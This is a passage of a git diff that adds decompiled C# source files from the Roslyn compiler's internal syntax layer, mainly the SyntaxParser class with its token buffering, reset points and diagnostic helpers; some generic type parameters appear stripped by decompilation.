SyntaxLastTokenReplacer : CSharpSyntaxRewriter +{ + private readonly SyntaxToken _oldToken; + + private readonly SyntaxToken _newToken; + + private int _count = 1; + + private bool _found; + + private SyntaxLastTokenReplacer(SyntaxToken oldToken, SyntaxToken newToken) + { + _oldToken = oldToken; + _newToken = newToken; + } + + internal static TRoot Replace(TRoot root, SyntaxToken newToken) where TRoot : CSharpSyntaxNode + { + return (TRoot)new SyntaxLastTokenReplacer(root.GetLastToken(), newToken).Visit(root); + } + + private static int CountNonNullSlots(CSharpSyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + ChildSyntaxList val = ((GreenNode)node).ChildNodesAndTokens(); + return ((ChildSyntaxList)(ref val)).Count; + } + + public override CSharpSyntaxNode Visit(CSharpSyntaxNode node) + { + if (node != null && !_found) + { + _count--; + if (_count == 0) + { + if (node is SyntaxToken) + { + _found = true; + return _newToken; + } + _count += CountNonNullSlots(node); + return base.Visit(node); + } + } + return node; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxListPoolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxListPoolExtensions.cs new file mode 100644 index 0000000..b9674d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxListPoolExtensions.cs @@ -0,0 +1,14 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal static class SyntaxListPoolExtensions +{ + public static SyntaxList ToTokenListAndFree(this SyntaxListPool pool, SyntaxListBuilder builder) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + GreenNode obj = builder.ToListNode(); + pool.Free(builder); + return new SyntaxList(obj); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxParser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxParser.cs new file mode 100644 index 0000000..fde4494 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxParser.cs @@ -0,0 +1,933 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class SyntaxParser : IDisposable +{ + protected readonly struct ResetPoint + { + internal readonly int ResetCount; + + internal readonly LexerMode Mode; + + internal readonly int Position; + + internal readonly GreenNode PrevTokenTrailingTrivia; + + internal ResetPoint(int resetCount, LexerMode mode, int position, GreenNode prevTokenTrailingTrivia) + { + ResetCount = resetCount; + Mode = mode; + Position = position; + PrevTokenTrailingTrivia = prevTokenTrailingTrivia; + } + } + + protected readonly Lexer lexer; + + private readonly bool _isIncremental; + + private readonly bool _allowModeReset; + + protected readonly CancellationToken cancellationToken; + + private LexerMode _mode; + + private Blender _firstBlender; + + private BlendedNode _currentNode; + + private SyntaxToken _currentToken; + + private ArrayElement[] _lexedTokens; + + private GreenNode _prevTokenTrailingTrivia; + + private int _firstToken; + + private int _tokenOffset; + + private int _tokenCount; + + private int _resetCount; + + private int _resetStart; + + private static readonly ObjectPool s_blendedNodesPool = new ObjectPool((Factory)(() => new BlendedNode[32]), 2, true); + + private static readonly ObjectPool[]> s_lexedTokensPool = new ObjectPool[]>((Factory[]>)(() => new ArrayElement[4096]), 2, true); + + private const int CachedTokenArraySize = 4096; + + private int _maxWrittenLexedTokenIndex = -1; + + private BlendedNode[] _blendedTokens; + + protected bool IsIncremental => _isIncremental; + + public CSharpParseOptions Options => lexer.Options; + + public bool IsScript => (int)((ParseOptions)Options).Kind == 1; + + protected LexerMode Mode + { + get + { + return _mode; + } + set + { + if (_mode != value) + { + _mode = value; + _currentToken = null; + _currentNode = default(BlendedNode); + _tokenCount = _tokenOffset; + } + } + } + + protected Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode CurrentNode + { + get + { + Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node = _currentNode.Node; + if (node != null) + { + return node; + } + ReadCurrentNode(); + return _currentNode.Node; + } + } + + protected SyntaxKind CurrentNodeKind => CurrentNode?.Kind() ?? SyntaxKind.None; + + protected SyntaxToken CurrentToken => _currentToken ?? (_currentToken = FetchCurrentToken()); + + internal DirectiveStack Directives => lexer.Directives; + + private int CurrentTokenPosition => _firstToken + _tokenOffset; + + protected SyntaxParser(Lexer lexer, LexerMode mode, Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode oldTree, IEnumerable changes, bool allowModeReset, bool preLexIfNotIncremental = false, CancellationToken cancellationToken = default(CancellationToken)) + { + this.lexer = lexer; + _mode = mode; + _allowModeReset = allowModeReset; + this.cancellationToken = cancellationToken; + _currentNode = default(BlendedNode); + _isIncremental = oldTree != null; + if (IsIncremental || allowModeReset) + { + _firstBlender = new Blender(lexer, oldTree, changes); + _blendedTokens = s_blendedNodesPool.Allocate(); + } + else + { + _firstBlender = default(Blender); + _lexedTokens = s_lexedTokensPool.Allocate(); + } + if (preLexIfNotIncremental && !IsIncremental && !cancellationToken.CanBeCanceled) + { + PreLex(); + } + } + + public void Dispose() + { + BlendedNode[] blendedTokens = _blendedTokens; + if (blendedTokens != null) + { + _blendedTokens = null; + if (blendedTokens.Length < 4096) + { + Array.Clear(blendedTokens, 0, blendedTokens.Length); + s_blendedNodesPool.Free(blendedTokens); + } + } + ArrayElement[] lexedTokens = _lexedTokens; + if (lexedTokens != null) + { + _lexedTokens = null; + ReturnLexedTokensToPool(lexedTokens); + } + } + + protected void ReInitialize() + { + _firstToken = 0; + _tokenOffset = 0; + _tokenCount = 0; + _resetCount = 0; + _resetStart = 0; + _currentToken = null; + _prevTokenTrailingTrivia = null; + if (IsIncremental || _allowModeReset) + { + _firstBlender = new Blender(lexer, null, null); + } + } + + private void PreLex() + { + int num = Math.Min(4096, this.lexer.TextWindow.Text.Length / 2); + Lexer lexer = this.lexer; + LexerMode mode = _mode; + if (_lexedTokens == null) + { + _lexedTokens = s_lexedTokensPool.Allocate(); + } + for (int i = 0; i < num; i++) + { + SyntaxToken syntaxToken = lexer.Lex(mode); + AddLexedToken(syntaxToken); + if (syntaxToken.Kind == SyntaxKind.EndOfFileToken) + { + break; + } + } + } + + protected ResetPoint GetResetPoint() + { + int currentTokenPosition = CurrentTokenPosition; + if (_resetCount == 0) + { + _resetStart = currentTokenPosition; + } + _resetCount++; + return new ResetPoint(_resetCount, _mode, currentTokenPosition, _prevTokenTrailingTrivia); + } + + protected void Reset(ref ResetPoint point) + { + int num = point.Position - _firstToken; + if (num >= _tokenCount) + { + PeekToken(num - _tokenOffset); + num = point.Position - _firstToken; + } + _mode = point.Mode; + _tokenOffset = num; + _currentToken = null; + _currentNode = default(BlendedNode); + _prevTokenTrailingTrivia = point.PrevTokenTrailingTrivia; + if (_blendedTokens == null) + { + return; + } + for (int i = _tokenOffset; i < _tokenCount; i++) + { + if (_blendedTokens[i].Token == null) + { + _tokenCount = i; + if (_tokenCount == _tokenOffset) + { + FetchCurrentToken(); + } + break; + } + } + } + + protected void Release(ref ResetPoint point) + { + _resetCount--; + if (_resetCount == 0) + { + _resetStart = -1; + } + } + + private void ReadCurrentNode() + { + if (_tokenOffset == 0) + { + _currentNode = _firstBlender.ReadNode(_mode); + } + else + { + _currentNode = _blendedTokens[_tokenOffset - 1].Blender.ReadNode(_mode); + } + } + + protected GreenNode EatNode() + { + GreenNode green = ((SyntaxNode)CurrentNode).Green; + if (_tokenOffset >= _blendedTokens.Length) + { + AddTokenSlot(); + } + _blendedTokens[_tokenOffset++] = _currentNode; + _tokenCount = _tokenOffset; + _currentNode = default(BlendedNode); + _currentToken = null; + return green; + } + + private SyntaxToken FetchCurrentToken() + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (_tokenOffset >= _tokenCount) + { + AddNewToken(); + } + if (_blendedTokens != null) + { + return _blendedTokens[_tokenOffset].Token; + } + return ArrayElement.op_Implicit(_lexedTokens[_tokenOffset]); + } + + private void AddNewToken() + { + if (_blendedTokens != null) + { + if (_tokenCount > 0) + { + AddToken(_blendedTokens[_tokenCount - 1].Blender.ReadToken(_mode)); + } + else if (_currentNode.Token != null) + { + AddToken(in _currentNode); + } + else + { + AddToken(_firstBlender.ReadToken(_mode)); + } + } + else + { + AddLexedToken(lexer.Lex(_mode)); + } + } + + private void AddToken(in BlendedNode tokenResult) + { + if (_tokenCount >= _blendedTokens.Length) + { + AddTokenSlot(); + } + _blendedTokens[_tokenCount] = tokenResult; + _tokenCount++; + } + + private void AddLexedToken(SyntaxToken token) + { + if (_tokenCount >= _lexedTokens.Length) + { + AddLexedTokenSlot(); + } + if (_tokenCount > _maxWrittenLexedTokenIndex) + { + _maxWrittenLexedTokenIndex = _tokenCount; + } + _lexedTokens[_tokenCount].Value = token; + _tokenCount++; + } + + private void AddTokenSlot() + { + if (_tokenOffset > _blendedTokens.Length >> 1 && (_resetStart == -1 || _resetStart > _firstToken)) + { + int num = ((_resetStart == -1) ? _tokenOffset : (_resetStart - _firstToken)); + int num2 = _tokenCount - num; + _firstBlender = _blendedTokens[num - 1].Blender; + if (num2 > 0) + { + Array.Copy(_blendedTokens, num, _blendedTokens, 0, num2); + } + _firstToken += num; + _tokenCount -= num; + _tokenOffset -= num; + } + else + { + _ = _blendedTokens; + Array.Resize(ref _blendedTokens, _blendedTokens.Length * 2); + } + } + + private void AddLexedTokenSlot() + { + if (_tokenOffset > _lexedTokens.Length >> 1 && (_resetStart == -1 || _resetStart > _firstToken)) + { + int num = ((_resetStart == -1) ? _tokenOffset : (_resetStart - _firstToken)); + int num2 = _tokenCount - num; + if (num2 > 0) + { + Array.Copy(_lexedTokens, num, _lexedTokens, 0, num2); + } + _firstToken += num; + _tokenCount -= num; + _tokenOffset -= num; + } + else + { + ArrayElement[] lexedTokens = _lexedTokens; + Array.Resize(ref _lexedTokens, _lexedTokens.Length * 2); + ReturnLexedTokensToPool(lexedTokens); + } + } + + private void ReturnLexedTokensToPool(ArrayElement[] lexedTokens) + { + if (lexedTokens.Length == 4096) + { + Array.Clear(lexedTokens, 0, _maxWrittenLexedTokenIndex + 1); + s_lexedTokensPool.Free(lexedTokens); + } + } + + protected SyntaxToken PeekToken(int n) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + while (_tokenOffset + n >= _tokenCount) + { + AddNewToken(); + } + if (_blendedTokens != null) + { + return _blendedTokens[_tokenOffset + n].Token; + } + return ArrayElement.op_Implicit(_lexedTokens[_tokenOffset + n]); + } + + protected SyntaxToken EatToken() + { + SyntaxToken currentToken = CurrentToken; + MoveToNextToken(); + return currentToken; + } + + protected SyntaxToken TryEatToken(SyntaxKind kind) + { + if (CurrentToken.Kind != kind) + { + return null; + } + return EatToken(); + } + + private void MoveToNextToken() + { + _prevTokenTrailingTrivia = _currentToken.GetTrailingTrivia(); + _currentToken = null; + if (_blendedTokens != null) + { + _currentNode = default(BlendedNode); + } + _tokenOffset++; + } + + protected void ForceEndOfFile() + { + _currentToken = SyntaxFactory.Token(SyntaxKind.EndOfFileToken); + } + + protected SyntaxToken EatToken(SyntaxKind kind) + { + SyntaxToken currentToken = CurrentToken; + if (currentToken.Kind == kind) + { + MoveToNextToken(); + return currentToken; + } + return CreateMissingToken(kind, CurrentToken.Kind, reportError: true); + } + + protected SyntaxToken EatTokenAsKind(SyntaxKind expected) + { + SyntaxToken currentToken = CurrentToken; + if (currentToken.Kind == expected) + { + MoveToNextToken(); + return currentToken; + } + SyntaxToken node = CreateMissingToken(expected, CurrentToken.Kind, reportError: true); + return AddTrailingSkippedSyntax(node, (GreenNode)(object)EatToken()); + } + + private SyntaxToken CreateMissingToken(SyntaxKind expected, SyntaxKind actual, bool reportError) + { + SyntaxToken syntaxToken = SyntaxFactory.MissingToken(expected); + if (reportError) + { + syntaxToken = WithAdditionalDiagnostics(syntaxToken, GetExpectedTokenError(expected, actual)); + } + return syntaxToken; + } + + private SyntaxToken CreateMissingToken(SyntaxKind expected, ErrorCode code, bool reportError) + { + SyntaxToken syntaxToken = SyntaxFactory.MissingToken(expected); + if (reportError) + { + syntaxToken = AddError(syntaxToken, code); + } + return syntaxToken; + } + + protected SyntaxToken EatToken(SyntaxKind kind, bool reportError) + { + if (reportError) + { + return EatToken(kind); + } + if (CurrentToken.Kind != kind) + { + return SyntaxFactory.MissingToken(kind); + } + return EatToken(); + } + + protected SyntaxToken EatToken(SyntaxKind kind, ErrorCode code, bool reportError = true) + { + if (CurrentToken.Kind != kind) + { + return CreateMissingToken(kind, code, reportError); + } + return EatToken(); + } + + protected SyntaxToken EatTokenWithPrejudice(SyntaxKind kind) + { + SyntaxToken syntaxToken = CurrentToken; + if (syntaxToken.Kind != kind) + { + syntaxToken = WithAdditionalDiagnostics(syntaxToken, GetExpectedTokenError(kind, syntaxToken.Kind)); + } + MoveToNextToken(); + return syntaxToken; + } + + protected SyntaxToken EatTokenWithPrejudice(ErrorCode errorCode, params object[] args) + { + SyntaxToken syntaxToken = EatToken(); + return WithAdditionalDiagnostics(syntaxToken, MakeError(((GreenNode)syntaxToken).GetLeadingTriviaWidth(), ((GreenNode)syntaxToken).Width, errorCode, args)); + } + + protected SyntaxToken EatContextualToken(SyntaxKind kind, ErrorCode code, bool reportError = true) + { + if (CurrentToken.ContextualKind != kind) + { + return CreateMissingToken(kind, code, reportError); + } + return ConvertToKeyword(EatToken()); + } + + protected SyntaxToken EatContextualToken(SyntaxKind kind, bool reportError = true) + { + SyntaxKind contextualKind = CurrentToken.ContextualKind; + if (contextualKind != kind) + { + return CreateMissingToken(kind, contextualKind, reportError); + } + return ConvertToKeyword(EatToken()); + } + + protected virtual SyntaxDiagnosticInfo GetExpectedTokenError(SyntaxKind expected, SyntaxKind actual, int offset, int width) + { + ErrorCode expectedTokenErrorCode = GetExpectedTokenErrorCode(expected, actual); + return expectedTokenErrorCode switch + { + ErrorCode.ERR_SyntaxError => new SyntaxDiagnosticInfo(offset, width, expectedTokenErrorCode, SyntaxFacts.GetText(expected)), + ErrorCode.ERR_IdentifierExpectedKW => new SyntaxDiagnosticInfo(offset, width, expectedTokenErrorCode, string.Empty, SyntaxFacts.GetText(actual)), + _ => new SyntaxDiagnosticInfo(offset, width, expectedTokenErrorCode), + }; + } + + protected virtual SyntaxDiagnosticInfo GetExpectedTokenError(SyntaxKind expected, SyntaxKind actual) + { + GetDiagnosticSpanForMissingToken(out var offset, out var width); + return GetExpectedTokenError(expected, actual, offset, width); + } + + private static ErrorCode GetExpectedTokenErrorCode(SyntaxKind expected, SyntaxKind actual) + { + switch (expected) + { + case SyntaxKind.IdentifierToken: + if (SyntaxFacts.IsReservedKeyword(actual)) + { + return ErrorCode.ERR_IdentifierExpectedKW; + } + return ErrorCode.ERR_IdentifierExpected; + case SyntaxKind.SemicolonToken: + return ErrorCode.ERR_SemicolonExpected; + case SyntaxKind.CloseParenToken: + return ErrorCode.ERR_CloseParenExpected; + case SyntaxKind.OpenBraceToken: + return ErrorCode.ERR_LbraceExpected; + case SyntaxKind.CloseBraceToken: + return ErrorCode.ERR_RbraceExpected; + default: + return ErrorCode.ERR_SyntaxError; + } + } + + protected void GetDiagnosticSpanForMissingToken(out int offset, out int width) + { + GreenNode prevTokenTrailingTrivia = _prevTokenTrailingTrivia; + if (prevTokenTrailingTrivia != null) + { + SyntaxList val = default(SyntaxList); + val._002Ector(prevTokenTrailingTrivia); + if (val.Any(8539)) + { + offset = -prevTokenTrailingTrivia.FullWidth; + width = 0; + return; + } + } + SyntaxToken currentToken = CurrentToken; + offset = ((GreenNode)currentToken).GetLeadingTriviaWidth(); + width = ((GreenNode)currentToken).Width; + } + + protected virtual TNode WithAdditionalDiagnostics(TNode node, params DiagnosticInfo[] diagnostics) where TNode : GreenNode + { + DiagnosticInfo[] diagnostics2 = ((GreenNode)node).GetDiagnostics(); + int num = diagnostics2.Length; + if (num == 0) + { + return GreenNodeExtensions.WithDiagnosticsGreen(node, diagnostics); + } + DiagnosticInfo[] array = (DiagnosticInfo[])(object)new DiagnosticInfo[diagnostics2.Length + diagnostics.Length]; + diagnostics2.CopyTo(array, 0); + diagnostics.CopyTo(array, num); + return GreenNodeExtensions.WithDiagnosticsGreen(node, array); + } + + protected TNode AddError(TNode node, ErrorCode code) where TNode : GreenNode + { + return AddError(node, code, Array.Empty()); + } + + protected TNode AddErrorAsWarning(TNode node, ErrorCode code, params object[] args) where TNode : GreenNode + { + return AddError(node, ErrorCode.WRN_ErrorOverride, MakeError((GreenNode)(object)node, code, args), (int)code); + } + + protected TNode AddError(TNode node, ErrorCode code, params object[] args) where TNode : GreenNode + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (!((GreenNode)node).IsMissing) + { + return WithAdditionalDiagnostics(node, MakeError((GreenNode)(object)node, code, args)); + } + int offset; + int width; + if (node is SyntaxToken syntaxToken && ((GreenNode)syntaxToken).ContainsSkippedText) + { + offset = ((GreenNode)syntaxToken).GetLeadingTriviaWidth(); + width = 0; + bool flag = false; + Enumerator enumerator = syntaxToken.TrailingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpSyntaxNode current = enumerator.Current; + if (current.Kind == SyntaxKind.SkippedTokensTrivia) + { + flag = true; + width += ((GreenNode)current).Width; + continue; + } + if (flag) + { + break; + } + offset += ((GreenNode)current).Width; + } + } + else + { + GetDiagnosticSpanForMissingToken(out offset, out width); + } + return WithAdditionalDiagnostics(node, MakeError(offset, width, code, args)); + } + + protected TNode AddError(TNode node, int offset, int length, ErrorCode code, params object[] args) where TNode : CSharpSyntaxNode + { + return WithAdditionalDiagnostics(node, MakeError(offset, length, code, args)); + } + + protected TNode AddError(TNode node, CSharpSyntaxNode location, ErrorCode code, params object[] args) where TNode : CSharpSyntaxNode + { + FindOffset((GreenNode)(object)node, location, out var offset); + return WithAdditionalDiagnostics(node, MakeError(offset, ((GreenNode)location).Width, code, args)); + } + + protected TNode AddErrorToFirstToken(TNode node, ErrorCode code) where TNode : CSharpSyntaxNode + { + SyntaxToken firstToken = node.GetFirstToken(); + return WithAdditionalDiagnostics(node, MakeError(((GreenNode)firstToken).GetLeadingTriviaWidth(), ((GreenNode)firstToken).Width, code)); + } + + protected TNode AddErrorToFirstToken(TNode node, ErrorCode code, params object[] args) where TNode : CSharpSyntaxNode + { + SyntaxToken firstToken = node.GetFirstToken(); + return WithAdditionalDiagnostics(node, MakeError(((GreenNode)firstToken).GetLeadingTriviaWidth(), ((GreenNode)firstToken).Width, code, args)); + } + + protected TNode AddErrorToLastToken(TNode node, ErrorCode code) where TNode : CSharpSyntaxNode + { + GetOffsetAndWidthForLastToken(node, out var offset, out var width); + return WithAdditionalDiagnostics(node, MakeError(offset, width, code)); + } + + protected TNode AddErrorToLastToken(TNode node, ErrorCode code, params object[] args) where TNode : CSharpSyntaxNode + { + GetOffsetAndWidthForLastToken(node, out var offset, out var width); + return WithAdditionalDiagnostics(node, MakeError(offset, width, code, args)); + } + + private static void GetOffsetAndWidthForLastToken(TNode node, out int offset, out int width) where TNode : CSharpSyntaxNode + { + SyntaxToken lastNonmissingToken = node.GetLastNonmissingToken(); + offset = ((GreenNode)node).FullWidth; + width = 0; + if (lastNonmissingToken != null) + { + offset -= ((GreenNode)lastNonmissingToken).FullWidth; + offset += ((GreenNode)lastNonmissingToken).GetLeadingTriviaWidth(); + width += ((GreenNode)lastNonmissingToken).Width; + } + } + + protected static SyntaxDiagnosticInfo MakeError(int offset, int width, ErrorCode code) + { + return new SyntaxDiagnosticInfo(offset, width, code); + } + + protected static SyntaxDiagnosticInfo MakeError(int offset, int width, ErrorCode code, params object[] args) + { + return new SyntaxDiagnosticInfo(offset, width, code, args); + } + + protected static SyntaxDiagnosticInfo MakeError(GreenNode node, ErrorCode code, params object[] args) + { + return new SyntaxDiagnosticInfo(node.GetLeadingTriviaWidth(), node.Width, code, args); + } + + protected static SyntaxDiagnosticInfo MakeError(ErrorCode code, params object[] args) + { + return new SyntaxDiagnosticInfo(code, args); + } + + protected TNode AddLeadingSkippedSyntax(TNode node, GreenNode skippedSyntax) where TNode : CSharpSyntaxNode + { + SyntaxToken syntaxToken = (node as SyntaxToken) ?? node.GetFirstToken(); + SyntaxToken newToken = AddSkippedSyntax(syntaxToken, skippedSyntax, trailing: false); + return SyntaxFirstTokenReplacer.Replace(node, syntaxToken, newToken, skippedSyntax.FullWidth); + } + + protected void AddTrailingSkippedSyntax(SyntaxListBuilder list, GreenNode skippedSyntax) + { + list[list.Count - 1] = (GreenNode)(object)AddTrailingSkippedSyntax((CSharpSyntaxNode)(object)list[list.Count - 1], skippedSyntax); + } + + protected void AddTrailingSkippedSyntax(SyntaxListBuilder list, GreenNode skippedSyntax) where TNode : CSharpSyntaxNode + { + list[list.Count - 1] = AddTrailingSkippedSyntax(list[list.Count - 1], skippedSyntax); + } + + protected TNode AddTrailingSkippedSyntax(TNode node, GreenNode skippedSyntax) where TNode : CSharpSyntaxNode + { + if (node is SyntaxToken target) + { + return (TNode)(CSharpSyntaxNode)AddSkippedSyntax(target, skippedSyntax, trailing: true); + } + SyntaxToken lastToken = node.GetLastToken(); + SyntaxToken newToken = AddSkippedSyntax(lastToken, skippedSyntax, trailing: true); + return SyntaxLastTokenReplacer.Replace(node, newToken); + } + + internal SyntaxToken AddSkippedSyntax(SyntaxToken target, GreenNode skippedSyntax, bool trailing) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = new SyntaxListBuilder(4); + SyntaxDiagnosticInfo syntaxDiagnosticInfo = null; + int num = 0; + int num2 = 0; + foreach (GreenNode item in skippedSyntax.EnumerateNodes()) + { + if (item is SyntaxToken syntaxToken) + { + val.Add(syntaxToken.GetLeadingTrivia()); + if (((GreenNode)syntaxToken).Width > 0) + { + SyntaxToken syntaxToken2 = syntaxToken.TokenWithLeadingTrivia(null).TokenWithTrailingTrivia(null); + int leadingTriviaWidth = ((GreenNode)syntaxToken).GetLeadingTriviaWidth(); + if (leadingTriviaWidth > 0) + { + DiagnosticInfo[] diagnostics = ((GreenNode)syntaxToken2).GetDiagnostics(); + for (int i = 0; i < diagnostics.Length; i++) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo2 = (SyntaxDiagnosticInfo)(object)diagnostics[i]; + diagnostics[i] = (DiagnosticInfo)(object)new SyntaxDiagnosticInfo(syntaxDiagnosticInfo2.Offset - leadingTriviaWidth, syntaxDiagnosticInfo2.Width, (ErrorCode)((DiagnosticInfo)syntaxDiagnosticInfo2).Code, ((DiagnosticInfo)syntaxDiagnosticInfo2).Arguments); + } + } + val.Add((GreenNode)(object)SyntaxFactory.SkippedTokensTrivia(SyntaxList.op_Implicit(syntaxToken2))); + } + else + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo3 = (SyntaxDiagnosticInfo)(object)((GreenNode)syntaxToken).GetDiagnostics().FirstOrDefault(); + if (syntaxDiagnosticInfo3 != null) + { + syntaxDiagnosticInfo = syntaxDiagnosticInfo3; + num = num2; + } + } + val.Add(syntaxToken.GetTrailingTrivia()); + num2 += ((GreenNode)syntaxToken).FullWidth; + } + else if (item.ContainsDiagnostics && syntaxDiagnosticInfo == null) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo4 = (SyntaxDiagnosticInfo)(object)item.GetDiagnostics().FirstOrDefault(); + if (syntaxDiagnosticInfo4 != null) + { + syntaxDiagnosticInfo = syntaxDiagnosticInfo4; + num = num2; + } + } + } + int num3 = num2; + GreenNode val2 = val.ToListNode(); + int num4; + if (trailing) + { + GreenNode trailingTrivia = target.GetTrailingTrivia(); + num4 = ((GreenNode)target).FullWidth; + target = target.TokenWithTrailingTrivia(SyntaxList.Concat(trailingTrivia, val2)); + } + else + { + if (num3 > 0) + { + DiagnosticInfo[] diagnostics2 = ((GreenNode)target).GetDiagnostics(); + for (int j = 0; j < diagnostics2.Length; j++) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo5 = (SyntaxDiagnosticInfo)(object)diagnostics2[j]; + diagnostics2[j] = (DiagnosticInfo)(object)new SyntaxDiagnosticInfo(syntaxDiagnosticInfo5.Offset + num3, syntaxDiagnosticInfo5.Width, (ErrorCode)((DiagnosticInfo)syntaxDiagnosticInfo5).Code, ((DiagnosticInfo)syntaxDiagnosticInfo5).Arguments); + } + } + GreenNode leadingTrivia = target.GetLeadingTrivia(); + target = target.TokenWithLeadingTrivia(SyntaxList.Concat(val2, leadingTrivia)); + num4 = 0; + } + if (syntaxDiagnosticInfo != null) + { + int offset = num4 + num + syntaxDiagnosticInfo.Offset; + target = WithAdditionalDiagnostics(target, new SyntaxDiagnosticInfo(offset, syntaxDiagnosticInfo.Width, (ErrorCode)((DiagnosticInfo)syntaxDiagnosticInfo).Code, ((DiagnosticInfo)syntaxDiagnosticInfo).Arguments)); + } + return target; + } + + private bool FindOffset(GreenNode root, CSharpSyntaxNode location, out int offset) + { + int num = 0; + offset = 0; + if (root != null) + { + int i = 0; + for (int slotCount = root.SlotCount; i < slotCount; i++) + { + GreenNode slot = root.GetSlot(i); + if (slot != null) + { + if ((object)slot == location) + { + offset = num; + return true; + } + if (FindOffset(slot, location, out offset)) + { + offset += slot.GetLeadingTriviaWidth() + num; + return true; + } + num += slot.FullWidth; + } + } + } + return false; + } + + protected static SyntaxToken ConvertToKeyword(SyntaxToken token) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (token.Kind != token.ContextualKind) + { + SyntaxToken syntaxToken = (((GreenNode)token).IsMissing ? SyntaxFactory.MissingToken(token.LeadingTrivia.Node, token.ContextualKind, token.TrailingTrivia.Node) : SyntaxFactory.Token(token.LeadingTrivia.Node, token.ContextualKind, token.TrailingTrivia.Node)); + DiagnosticInfo[] diagnostics = ((GreenNode)token).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + syntaxToken = GreenNodeExtensions.WithDiagnosticsGreen(syntaxToken, diagnostics); + } + return syntaxToken; + } + return token; + } + + protected static SyntaxToken ConvertToIdentifier(SyntaxToken token) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken syntaxToken = SyntaxToken.Identifier(token.Kind, token.LeadingTrivia.Node, token.Text, token.ValueText, token.TrailingTrivia.Node); + if (((GreenNode)token).ContainsDiagnostics) + { + syntaxToken = GreenNodeExtensions.WithDiagnosticsGreen(syntaxToken, ((GreenNode)token).GetDiagnostics()); + } + return syntaxToken; + } + + protected TNode CheckFeatureAvailability(TNode node, MessageID feature, bool forceWarning = false) where TNode : GreenNode + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = feature.GetFeatureAvailabilityDiagnosticInfo(Options); + if (featureAvailabilityDiagnosticInfo != null) + { + if (forceWarning) + { + return AddError(node, ErrorCode.WRN_ErrorOverride, featureAvailabilityDiagnosticInfo, (int)featureAvailabilityDiagnosticInfo.Code); + } + return AddError(node, featureAvailabilityDiagnosticInfo.Code, ((DiagnosticInfo)featureAvailabilityDiagnosticInfo).Arguments); + } + return node; + } + + protected bool IsFeatureEnabled(MessageID feature) + { + return Options.IsFeatureEnabled(feature); + } + + protected bool IsMakingProgress(ref int lastTokenPosition, bool assertIfFalse = true) + { + int currentTokenPosition = CurrentTokenPosition; + if (currentTokenPosition > lastTokenPosition) + { + lastTokenPosition = currentTokenPosition; + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxToken.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxToken.cs new file mode 100644 index 0000000..e6e215c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxToken.cs @@ -0,0 +1,1087 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class SyntaxToken : CSharpSyntaxNode +{ + internal class MissingTokenWithTrivia : SyntaxTokenWithTrivia + { + public override string Text => string.Empty; + + public override object Value + { + get + { + if (base.Kind == SyntaxKind.IdentifierToken) + { + return string.Empty; + } + return null; + } + } + + internal 